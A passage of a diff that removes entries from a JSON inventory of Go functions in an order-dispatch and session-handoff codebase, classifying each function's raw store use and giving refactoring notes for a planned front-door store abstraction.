-   "objops": "(root: opens store, forwards to handoff helpers)",
-   "other": "OPENS_STORE,BYID_RESOLVE,WORK_UPDATE",
-   "param": "store",
-   "callees": "doHandoffAuto,doHandoffWithOutcome,sessionRestartPersister",
-   "notes": "Composition root: opens raw store via openCityStoreAt(current.cityPath), then builds persistRestart (sessionRestartPersister) and dispatches to doHandoffAuto / doHandoffWithOutcome. This is where the session front door (sessionFrontDoor(store)) should be constructed once and threaded into the converted doHandoff*/clearRestartRequest call tree, while the raw store stays for worker-boundary + by-id residual.",
-   "sig": "func cmdHandoff(args []string, target string, auto bool, hookFormat string, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "cmd_handoff.go",
-   "name": "cmdHandoffRemote",
-   "line": "178",
-   "verdict": "ROOT",
-   "objops": "(root: opens store, forwards to doHandoffRemote)",
-   "other": "OPENS_STORE",
-   "param": "store",
-   "callees": "resolveDefaultMailSenderForCommand,doHandoffRemote",
-   "notes": "Composition root: opens raw store via openCityStore(stderr, \"gc handoff\"), resolves city + default mail sender, then calls doHandoffRemote(store,...). Allowed place to construct sessionFrontDoor(store) once for the remote handoff session ops while keeping raw store for worker-boundary kill/observe + by-id resolve.",
-   "sig": "func cmdHandoffRemote(args []string, target string, stdout, stderr io.Writer) int"
-  },
-  {
-   "file": "adoption_barrier.go",
-   "name": "runAdoptionBarrier",
-   "line": "55",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION: ListAllSessionBeads(store) session-domain read (line 91), openSessionBeadExists(store) session-domain read (line 243), sessionFrontDoor(store).CreateSession (line 233), store==nil guard (line 67)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "openSessionBeadExists",
-   "notes": "store is used ONLY for session object ops: ListAllSessionBeads, the sessionFrontDoor(store).CreateSession call inside the createSessionBead closure, and openSessionBeadExists inside the WithCitySessionIdentifierLocks closure. No WORK/ORDER/NUDGE/by-id/graph/federation uses. workerSessionTargetAliveWithConfig is called with nil store args (line 152), so store is NOT passed there. The function receives the store as a param (does not open it); callers (city_runtime.go:480 cr.sessionsBeadStore().Store, cmd_start.go:869 store) supply it, so the session front door can be constructed once at the call site and this param converted to sessions *session.InfoStore. The two closures (createSessionBead, the WithCitySessionIdentifierLocks func) capture store and would capture the front door instead.",
-   "sig": "func runAdoptionBarrier(\n\tcityPath string,\n\tstore beads.Store,\n\tsp runtime.Provider,\n\tcfg *config.City,\n\tcityName string,\n\tclk clock.Clock,\n\tstderr io.Writer,\n\tdryRun bool,\n) (adoptionResult, bool)"
-  },
-  {
-   "file": "adoption_barrier.go",
-   "name": "openSessionBeadExists",
-   "line": "273",
-   "verdict": "SESSION_ONLY",
-   "objops": "SESSION: ListAllSessionBeads(store) session-domain read (line 274)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "NONE",
-   "notes": "store used ONLY for sessionpkg.ListAllSessionBeads to detect an existing open session bead by session_name. Pure session-domain read; no work/order/nudge/by-id/graph. Converts to sessions *session.InfoStore (or whatever surface exposes the session-bead list); note ListAllSessionBeads currently takes raw beads.Store, so converting this fully depends on the session front door exposing a list-session-beads method.",
-   "sig": "func openSessionBeadExists(store beads.Store, sessionName string) (bool, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "buildOrderDispatcherFromOrderSet",
-   "line": "381",
-   "verdict": "ROOT",
-   "objops": "ORDER:none-direct (constructs storeFn)",
-   "other": "OPENS_STORE",
-   "param": "none",
-   "callees": "none",
-   "notes": "Composition root: builds the memoryOrderDispatcher and sets storeFn as a closure that calls openStoreAtForCity(target.ScopeRoot, cityPath). This is the single place the raw store is obtained for the whole dispatcher; the order front door (orders.NewStore) could be constructed once here or have storeFn return a typed front door instead of a raw beads.Store.",
-   "sig": "func buildOrderDispatcherFromOrderSet(cityPath string, cfg *config.City, allAA []orders.Order, rec events.Recorder, stderr io.Writer) orderDispatcher"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*memoryOrderDispatcher) dispatch",
-   "line": "425",
-   "verdict": "ROOT",
-   "objops": "ORDER:CreateRun(557 trigger-env-failed run),CreateRun(617 normal run)",
-   "other": "OPENS_STORE,WORK_LIST,WORK_READY,GENERIC_GET,BYID_RESOLVE",
-   "param": "store (local, from m.storeFn(target))",
-   "callees": "legacyCityStoreForTarget,gateOpenWorkBounded(via trackingIndex.hasOpenTracking/hasOpenWork),launchDispatchOne,dispatchOne(via launch),hasOpenWorkInStoresStrict",
-   "notes": "Opens per-target stores via m.storeFn and caches them in stores map (line 491-499); also opens a legacy city store. Creates order run tracking beads through the order front door orders.NewStore(beads.OrdersStore{Store: store}).CreateRun. Passes the RAW store onward to launchDispatchOne/dispatchOne and to the tracking index gates (which List order-tracking/order-run work beads). This is the per-tick composition root; the front door should be built here from the opened store and the raw store kept only for the gate/work reads passed to dispatchOne.",
-   "sig": "func (m *memoryOrderDispatcher) dispatch(ctx context.Context, cityPath string, now time.Time)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*memoryOrderDispatcher) launchDispatchOne",
-   "line": "644",
-   "verdict": "MIXED",
-   "objops": "none-direct",
-   "other": "NONE",
-   "param": "store",
-   "callees": "dispatchOne",
-   "notes": "Pure passthrough: it forwards the raw store to dispatchOne in a goroutine and does no object op itself. It must keep beads.Store because dispatchOne is MIXED (needs raw store for molecule/graph plus the order front door). Residual: keep raw store, it is only a conduit.",
-   "sig": "func (m *memoryOrderDispatcher) launchDispatchOne(ctx context.Context, store beads.Store, target execStoreTarget, a orders.Order, cityPath, trackingID string, onDone func())"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*memoryOrderDispatcher) dispatchOne",
-   "line": "1020",
-   "verdict": "MIXED",
-   "objops": "ORDER:close tracking bead via closeOrderTrackingBead (raw order-tracking close)",
-   "other": "GENERIC_GET",
-   "param": "store",
-   "callees": "closeOrderTrackingBead,dispatchExec,dispatchWisp",
-   "notes": "Defers closeOrderTrackingBead(ctx, store, trackingID) which raw-closes the order-tracking bead (an order object op the orders.Store front door does not expose). Then fans out to dispatchExec (order front-door SetOutcome/SetCursor) or dispatchWisp (molecule/graph + front door). Residual: must keep raw beads.Store for the molecule.Instantiate/graphv2 work in dispatchWisp and for the raw tracking-bead close; the order front door is also needed. Could take both an *orders.Store and the raw store.",
-   "sig": "func (m *memoryOrderDispatcher) dispatchOne(ctx context.Context, store beads.Store, target execStoreTarget, a orders.Order, cityPath, trackingID string)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "closeOrderTrackingBead",
-   "line": "1048",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking Close (CloseAll via closeAndVerify)",
-   "other": "GENERIC_GET",
-   "param": "store",
-   "callees": "closeAndVerifyOrderTrackingBeads",
-   "notes": "Order runtime lifecycle helper: closes one order-tracking bead by id with the completed-close reason. Uses store.CloseAll + store.Get(verify) which the orders.Store front door does not expose. This is the order-tracking close runtime helper (RAW_BY_DESIGN: cursor/cooldown/tracking order runtime helpers); stays on raw beads.Store.",
-   "sig": "func closeOrderTrackingBead(ctx context.Context, store beads.Store, trackingID string) error"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "closeAndVerifyOrderTrackingBeads",
-   "line": "1055",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking Close (store.CloseAll)",
-   "other": "GENERIC_GET",
-   "param": "store",
-   "callees": "openOrderTrackingIDs",
-   "notes": "Closes a batch of order-tracking beads via store.CloseAll then verifies via openOrderTrackingIDs (store.Get). Order-tracking close+verify runtime helper not on the orders.Store front-door surface; RAW_BY_DESIGN order runtime helper. Keeps raw beads.Store.",
-   "sig": "func closeAndVerifyOrderTrackingBeads(ctx context.Context, store beads.Store, ids []string, metadata map[string]string) (int, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "openOrderTrackingIDs",
-   "line": "1135",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:by-id status read of order-tracking beads (store.Get)",
-   "other": "GENERIC_GET",
-   "param": "store",
-   "callees": "none",
-   "notes": "Reads each tracking bead by id (store.Get) and reports those not yet closed \u2014 the close-verify probe. By-id get is not on the orders.Store front door; RAW_BY_DESIGN order-tracking verify helper. Keeps raw beads.Store.",
-   "sig": "func openOrderTrackingIDs(store beads.Store, ids []string) ([]string, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*memoryOrderDispatcher) dispatchExec",
-   "line": "1153",
-   "verdict": "ORDER_ONLY",
-   "objops": "ORDER:SetOutcome(1166,1183,1220),SetCursor(1180) via orders.NewStore(beads.OrdersStore{Store: store})",
-   "other": "NONE",
-   "param": "store",
-   "callees": "none",
-   "notes": "Builds the order front door once (front := orders.NewStore(beads.OrdersStore{Store: store}), line 1155) and uses ONLY SetCursor/SetOutcome on it plus m.execRun for the shell command. No raw store.Get/List/Update/molecule/graph here. Verdict ORDER_ONLY: convert the store param to sessions/orders front door \u2014 specifically `front *orders.Store` \u2014 dropping the raw beads.Store entirely.",
-   "sig": "func (m *memoryOrderDispatcher) dispatchExec(ctx context.Context, store beads.Store, target execStoreTarget, a orders.Order, cityPath, trackingID string)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "prepareOrderWispRecipe",
-   "line": "1253",
-   "verdict": "MIXED",
-   "objops": "none (no order object op)",
-   "other": "GRAPH",
-   "param": "store",
-   "callees": "none",
-   "notes": "Calls graphv2.PrepareInvocation(ctx, store, ...) to compile the wisp recipe. This is a graph/formula op, not a session/order/nudge object op, so it is out of the object-front-door scope; it legitimately needs the raw beads.Store for graphv2. Listed for completeness \u2014 no front-door conversion applies (residual = GRAPH raw read).",
-   "sig": "func prepareOrderWispRecipe(ctx context.Context, store beads.Store, a orders.Order, searchPaths []string) (*formula.Recipe, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*memoryOrderDispatcher) dispatchWisp",
-   "line": "1276",
-   "verdict": "MIXED",
-   "objops": "ORDER:SetOutcome via orders.NewStore(beads.OrdersStore{Store: store}) (1286 wisp-canceled,1410 wisp)",
-   "other": "GRAPH,WORK_UPDATE",
-   "param": "store",
-   "callees": "prepareOrderWispRecipe,applyGraphRouting,markTrackingFailure",
-   "notes": "Instantiates the order wisp: graphv2.PrepareInvocation (via prepareOrderWispRecipe), applyGraphRouting(store,...), molecule.Instantiate(ctx, store, recipe), and store.Update(rootID, ...) to label the wisp root. Also marks the order run outcome through the order front door orders.NewStore(...).SetOutcome and via markTrackingFailure (raw store.Update). Residual: keep raw beads.Store for molecule/graph/wisp-label work; ALSO needs the order front door for SetOutcome. MIXED \u2014 take both an *orders.Store and the raw store.",
-   "sig": "func (m *memoryOrderDispatcher) dispatchWisp(ctx context.Context, store beads.Store, a orders.Order, cityPath, trackingID string)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*memoryOrderDispatcher) markTrackingFailure",
-   "line": "1432",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw tracking-bead label (store.Update with wisp/wisp-failed + order cursor labels)",
-   "other": "WORK_UPDATE",
-   "param": "store",
-   "callees": "none",
-   "notes": "Stamps wisp/wisp-failed (and event-cursor) labels on the order-tracking bead via raw store.Update. This label-stamp is not exposed by the orders.Store front door (which only does SetOutcome/SetCursor); it is an order-tracking runtime label helper. RAW_BY_DESIGN order runtime helper; keeps raw beads.Store. (Could instead be folded into the front door if a label-failure method is added, but today it is raw-by-necessity.)",
-   "sig": "func (m *memoryOrderDispatcher) markTrackingFailure(store beads.Store, trackingID, scoped string, a orders.Order, headSeq uint64)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepOrphanedOrderTracking",
-   "line": "1873",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking sweep (delegates)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "sweepOrphanedOrderTrackingLimit",
-   "notes": "Thin wrapper over sweepOrphanedOrderTrackingLimit. Order-tracking orphan sweep runtime helper, not on the orders.Store front-door surface. RAW_BY_DESIGN; keeps raw beads.Store.",
-   "sig": "func sweepOrphanedOrderTracking(store beads.Store) (int, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepOrphanedOrderTrackingLimit",
-   "line": "1877",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking List+Close (store.ListByLabel(labelOrderTracking), closeAndVerifyOrderTrackingBeads)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "closeAndVerifyOrderTrackingBeads",
-   "notes": "Lists open order-tracking beads by labelOrderTracking and closes the orphans. Raw order-tracking List/Close with order labels \u2014 an order object op, but not exposed by the orders.Store front door (no sweep/list surface). RAW_BY_DESIGN order-tracking sweep runtime helper; keeps raw beads.Store.",
-   "sig": "func sweepOrphanedOrderTrackingLimit(store beads.Store, limit int) (int, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepStaleOrderTracking",
-   "line": "1956",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking stale sweep (delegates)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "sweepStaleOrderTrackingWithOptionsLimit",
-   "notes": "Wrapper delegating to sweepStaleOrderTrackingWithOptionsLimit. Order-tracking stale-sweep runtime helper. RAW_BY_DESIGN; keeps raw beads.Store.",
-   "sig": "func sweepStaleOrderTracking(store beads.Store, now time.Time, staleAfter time.Duration, onlyOrders map[string]struct{}, initiator string) (int, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepStaleOrderTrackingLimit",
-   "line": "1961",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking stale sweep (delegates)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "sweepStaleOrderTrackingWithOptionsLimit",
-   "notes": "Wrapper delegating to sweepStaleOrderTrackingWithOptionsLimit. Order-tracking stale-sweep runtime helper. RAW_BY_DESIGN; keeps raw beads.Store.",
-   "sig": "func sweepStaleOrderTrackingLimit(store beads.Store, now time.Time, staleAfter time.Duration, onlyOrders map[string]struct{}, initiator string, limit int) (int, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepStaleOrderTrackingWithOptionsLimit",
-   "line": "2044",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking sweep (delegates)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "sweepStaleOrderTrackingWithOptionsLimitMode",
-   "notes": "Wrapper delegating to the Mode variant. RAW_BY_DESIGN order-tracking sweep runtime helper; keeps raw beads.Store.",
-   "sig": "func sweepStaleOrderTrackingWithOptionsLimit(store beads.Store, now time.Time, staleAfter time.Duration, onlyOrders map[string]struct{}, initiator string, includeWispSubtrees bool, limit int) (orderTrackingSweepResult, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepStaleOrderTrackingWithOptionsLimitDryRun",
-   "line": "2048",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking sweep (delegates, dry-run)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "sweepStaleOrderTrackingWithOptionsLimitMode",
-   "notes": "Dry-run wrapper delegating to the Mode variant. RAW_BY_DESIGN order-tracking sweep runtime helper; keeps raw beads.Store.",
-   "sig": "func sweepStaleOrderTrackingWithOptionsLimitDryRun(store beads.Store, now time.Time, staleAfter time.Duration, onlyOrders map[string]struct{}, initiator string, includeWispSubtrees bool, limit int) (orderTrackingSweepResult, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepStaleOrderTrackingWithOptionsLimitMode",
-   "line": "2052",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking List+Close (store.ListByLabel(labelOrderTracking), closeAndVerifyOrderTrackingBeads)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "closeAndVerifyOrderTrackingBeads,sweepStaleOrderWispSubtreesMode",
-   "notes": "Lists order-tracking beads by labelOrderTracking, filters stale ones, closes via closeAndVerifyOrderTrackingBeads, and optionally sweeps wisp subtrees. Raw order-tracking List/Close with order labels not exposed by the orders.Store front door. RAW_BY_DESIGN order-tracking sweep runtime helper; keeps raw beads.Store.",
-   "sig": "func sweepStaleOrderTrackingWithOptionsLimitMode(store beads.Store, now time.Time, staleAfter time.Duration, onlyOrders map[string]struct{}, initiator string, includeWispSubtrees bool, limit int, dryRun bool) (orderTrackingSweepResult, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepClosedOrderTrackingRetention",
-   "line": "2166",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw closed order-tracking List+Delete (HandlesFor(store).Live.List(Label:labelOrderTracking), deleteWorkflowBead)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "deleteWorkflowBead",
-   "notes": "Lists closed order-tracking beads and deletes those past the retention window/floor. Raw order-tracking retention runtime helper (List by labelOrderTracking + delete); not on the orders.Store front door. RAW_BY_DESIGN; keeps raw beads.Store.",
-   "sig": "func sweepClosedOrderTrackingRetention(store beads.Store, now time.Time, policy orderTrackingRetentionPolicy, onlyOrders map[string]struct{}) (int, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepClosedOrderTrackingRetentionBounded",
-   "line": "2235",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw closed order-tracking List+Delete (HandlesFor(store).Live.List(Label:labelOrderTracking), deleteWorkflowBead)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "deleteWorkflowBead",
-   "notes": "Bounded per-store variant of the closed order-tracking retention sweep. Raw order-tracking retention runtime helper. RAW_BY_DESIGN; keeps raw beads.Store.",
-   "sig": "func sweepClosedOrderTrackingRetentionBounded(store beads.Store, now time.Time, policy orderTrackingRetentionPolicy, onlyOrders map[string]struct{}, limit int) (int, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepStaleOrderWispSubtrees",
-   "line": "2324",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw stale order-wisp subtree sweep (delegates)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "sweepStaleOrderWispSubtreesMode",
-   "notes": "Wrapper delegating to the Mode variant. Stale order-wisp subtree sweep runtime helper. RAW_BY_DESIGN; keeps raw beads.Store.",
-   "sig": "func sweepStaleOrderWispSubtrees(store beads.Store, cutoff time.Time, onlyOrders map[string]struct{}) (int, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepStaleOrderWispSubtreesMode",
-   "line": "2328",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-wisp subtree List+Close (order-run labels, closeStaleOrderWispIDs)",
-   "other": "GRAPH,WORK_LIST",
-   "param": "store",
-   "callees": "staleOrderWispSubtreeBatchCloseIDs,closeStaleOrderWispIDs,staleOrderWispRoots,storeHasOpenDescendants,collectOrderWispSubtree",
-   "notes": "Force-closes stale order-wisp subtrees: scans/lists order-run-labelled roots, walks descendants (storeHasOpenDescendants/collectOrderWispSubtree, graph+ParentID), and closes via closeStaleOrderWispIDs. Order-domain destructive sweep over wisp graph, not on the orders.Store front door. RAW_BY_DESIGN order-wisp sweep runtime helper; keeps raw beads.Store (also needs graph/work List).",
-   "sig": "func sweepStaleOrderWispSubtreesMode(store beads.Store, cutoff time.Time, onlyOrders map[string]struct{}, initiator string, dryRun bool) (int, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "closeStaleOrderWispIDs",
-   "line": "2399",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-wisp Close (store.CloseAll with sweep metadata)",
-   "other": "NONE",
-   "param": "store",
-   "callees": "none",
-   "notes": "Closes the given order-wisp subtree ids via raw store.CloseAll with the sweep audit metadata. Order-wisp sweep close runtime helper, not on the orders.Store front door. RAW_BY_DESIGN; keeps raw beads.Store.",
-   "sig": "func closeStaleOrderWispIDs(store beads.Store, ids []string, initiator string) (int, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "staleOrderWispSubtreeBatchCloseIDs",
-   "line": "2415",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-wisp root scan (order-run label matching, HandlesFor(store).Live.List AllowScan)",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "none",
-   "notes": "One-shot scan of all beads to group order-run-labelled stale wisp roots with their descendants in memory. Raw order-domain List/scan, not on the orders.Store front door. RAW_BY_DESIGN order-wisp sweep helper; keeps raw beads.Store.",
-   "sig": "func staleOrderWispSubtreeBatchCloseIDs(store beads.Store, cutoff time.Time, onlyOrders map[string]struct{}) ([]string, bool, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "staleOrderWispRoots",
-   "line": "2547",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-wisp root List (store.List Label:order-run:<name>)",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "none",
-   "notes": "Lists wisp roots by order-run:<orderName> label created before the cutoff. Raw order-run-labelled List, not on the orders.Store front door. RAW_BY_DESIGN order-wisp sweep helper; keeps raw beads.Store.",
-   "sig": "func staleOrderWispRoots(store beads.Store, cutoff time.Time, onlyOrders map[string]struct{}) ([]beads.Bead, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "collectOrderWispSubtree",
-   "line": "2577",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "none (graph/work descendant walk)",
-   "other": "GRAPH,WORK_LIST",
-   "param": "store",
-   "callees": "orderWispMetadataDescendants(via reader),orderWispDescendantChildren(via reader)",
-   "notes": "Walks the wisp subtree (metadata membership + ParentID/graph) to collect the root plus descendants. Graph/work traversal, not an order object op on the front door, but invoked only by the order-wisp sweep. Needs raw store for graph reads. RAW_BY_DESIGN graph descendant walk; keeps raw beads.Store.",
-   "sig": "func collectOrderWispSubtree(store beads.Store, root beads.Bead) ([]beads.Bead, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepClosedOrderTrackingRetentionAcrossStores",
-   "line": "2118",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw closed order-tracking retention (fan-out over []store)",
-   "other": "RIG_STORES_MAP",
-   "param": "stores",
-   "callees": "sweepClosedOrderTrackingRetention",
-   "notes": "Fans the closed order-tracking retention sweep across a slice of stores. Multi-store order-tracking retention runtime helper; not on the orders.Store front door. RAW_BY_DESIGN; keeps []beads.Store.",
-   "sig": "func sweepClosedOrderTrackingRetentionAcrossStores(stores []beads.Store, now time.Time, policy orderTrackingRetentionPolicy, onlyOrders map[string]struct{}) (orderTrackingRetentionSweepResult, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepClosedOrderTrackingRetentionAcrossStoresBounded",
-   "line": "2141",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw closed order-tracking retention (bounded fan-out over []store)",
-   "other": "RIG_STORES_MAP",
-   "param": "stores",
-   "callees": "sweepClosedOrderTrackingRetentionBounded",
-   "notes": "Bounded watchdog variant fanning the closed order-tracking retention sweep across stores until the delete budget is spent. RAW_BY_DESIGN multi-store order-tracking retention runtime helper; keeps []beads.Store.",
-   "sig": "func sweepClosedOrderTrackingRetentionAcrossStoresBounded(stores []beads.Store, now time.Time, policy orderTrackingRetentionPolicy, onlyOrders map[string]struct{}, limit int) (int, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepStaleOrderTrackingAcrossStores",
-   "line": "1966",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking stale sweep (fan-out, delegates)",
-   "other": "RIG_STORES_MAP",
-   "param": "stores",
-   "callees": "sweepStaleOrderTrackingAcrossStoresLimit",
-   "notes": "Multi-store stale order-tracking sweep wrapper. RAW_BY_DESIGN; keeps []beads.Store.",
-   "sig": "func sweepStaleOrderTrackingAcrossStores(stores []beads.Store, now time.Time, staleAfter time.Duration, onlyOrders map[string]struct{}, includeWispSubtrees bool) (orderTrackingSweepResult, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepStaleOrderTrackingAcrossStoresLimit",
-   "line": "1973",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking stale sweep (fan-out, delegates)",
-   "other": "RIG_STORES_MAP",
-   "param": "stores",
-   "callees": "sweepStaleOrderTrackingAcrossStoresLimitMode",
-   "notes": "Multi-store stale order-tracking sweep wrapper. RAW_BY_DESIGN; keeps []beads.Store.",
-   "sig": "func sweepStaleOrderTrackingAcrossStoresLimit(stores []beads.Store, now time.Time, staleAfter time.Duration, onlyOrders map[string]struct{}, initiator string, includeWispSubtrees bool, limit int) (orderTrackingSweepResult, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepStaleOrderTrackingAcrossStoresDryRun",
-   "line": "1977",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking stale sweep (fan-out, dry-run)",
-   "other": "RIG_STORES_MAP",
-   "param": "stores",
-   "callees": "sweepStaleOrderTrackingAcrossStoresLimitMode",
-   "notes": "Multi-store dry-run stale order-tracking sweep wrapper. RAW_BY_DESIGN; keeps []beads.Store.",
-   "sig": "func sweepStaleOrderTrackingAcrossStoresDryRun(stores []beads.Store, now time.Time, staleAfter time.Duration, onlyOrders map[string]struct{}, includeWispSubtrees bool) (orderTrackingSweepResult, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "sweepStaleOrderTrackingAcrossStoresLimitMode",
-   "line": "1981",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking stale sweep (fan-out over []store)",
-   "other": "RIG_STORES_MAP",
-   "param": "stores",
-   "callees": "sweepStaleOrderTrackingWithOptionsLimitMode",
-   "notes": "Iterates the store slice and applies the per-store stale order-tracking sweep, aggregating results and per-store keys. RAW_BY_DESIGN multi-store order-tracking sweep runtime helper; keeps []beads.Store.",
-   "sig": "func sweepStaleOrderTrackingAcrossStoresLimitMode(stores []beads.Store, now time.Time, staleAfter time.Duration, onlyOrders map[string]struct{}, initiator string, includeWispSubtrees bool, limit int, dryRun bool) (orderTrackingSweepResult, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*orderDispatchTrackingIndex) hasOpenTracking",
-   "line": "730",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw open order-tracking lookup (per-store entries via listCanonicalOpenOrderTrackingBeads)",
-   "other": "WORK_LIST",
-   "param": "stores",
-   "callees": "entriesForStore",
-   "notes": "Gate helper: reports whether any store has an open order-tracking bead for the scoped order, via the per-store index built from listCanonicalOpenOrderTrackingBeads (order-tracking List). Raw order-tracking open-work gate, not on the orders.Store front door. RAW_BY_DESIGN order-tracking gate helper; keeps []beads.Store.",
-   "sig": "func (idx *orderDispatchTrackingIndex) hasOpenTracking(stores []beads.Store, storeKeys []string, scopedName string) (bool, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*orderDispatchTrackingIndex) hasOpenWork",
-   "line": "753",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking + history open-work gate",
-   "other": "WORK_LIST",
-   "param": "stores",
-   "callees": "entriesForStore,historyEntriesForStore,fallback(hasOpenWorkInStoresStrict)",
-   "notes": "Open-work gate combining open order-tracking entries, tracking history, and a strict fallback that walks order-run wisp work. Raw order-domain gate, not on the orders.Store front door. RAW_BY_DESIGN order-tracking gate helper; keeps []beads.Store.",
-   "sig": "func (idx *orderDispatchTrackingIndex) hasOpenWork(stores []beads.Store, storeKeys []string, scopedName string, fallback func([]beads.Store, string) (bool, error), requireStrictFallback bool) (bool, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*orderDispatchTrackingIndex) lastRunFunc",
-   "line": "793",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw last-run-from-tracking-history read",
-   "other": "WORK_LIST",
-   "param": "stores",
-   "callees": "lastRunForStore",
-   "notes": "Returns a LastRunFunc that reads the latest order run time from the per-store tracking-history index, falling back to the supplied query. Order cooldown/cron last-run runtime helper; RAW_BY_DESIGN (cursor/cooldown order runtime helper). Keeps []beads.Store.",
-   "sig": "func (idx *orderDispatchTrackingIndex) lastRunFunc(stores []beads.Store, storeKeys []string, fallback orders.LastRunFunc) orders.LastRunFunc"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*orderDispatchTrackingIndex) lastRunForStore",
-   "line": "826",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw last-run-from-tracking-history read",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "historyEntriesForStore",
-   "notes": "Reads the order's last-run time from one store's tracking-history index. RAW_BY_DESIGN order last-run helper; keeps raw beads.Store.",
-   "sig": "func (idx *orderDispatchTrackingIndex) lastRunForStore(store beads.Store, storeKey, scopedName string) (time.Time, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*orderDispatchTrackingIndex) historyEntriesForStore",
-   "line": "840",
-   "verdict": "RAW_BY_DESIGN",
-   "objops": "ORDER:raw order-tracking history List (listCanonicalRecentOrderTrackingHistoryBeads)",
-   "other": "WORK_LIST",
-   "param": "store",
-   "callees": "listCanonicalRecentOrderTrackingHistoryBeads",
-   "notes": "Builds the per-store order-tracking history index from listCanonicalRecentOrderTrackingHistoryBeads (order-tracking List, IncludeClosed). RAW_BY_DESIGN order-tracking history helper; keeps raw beads.Store.",
-   "sig": "func (idx *orderDispatchTrackingIndex) historyEntriesForStore(store beads.Store, storeKey string) (map[string]orderTrackingSummary, error)"
-  },
-  {
-   "file": "order_dispatch.go",
-   "name": "(*orderDispatchTrackingIndex) entriesForStore",
-   "line": "880",
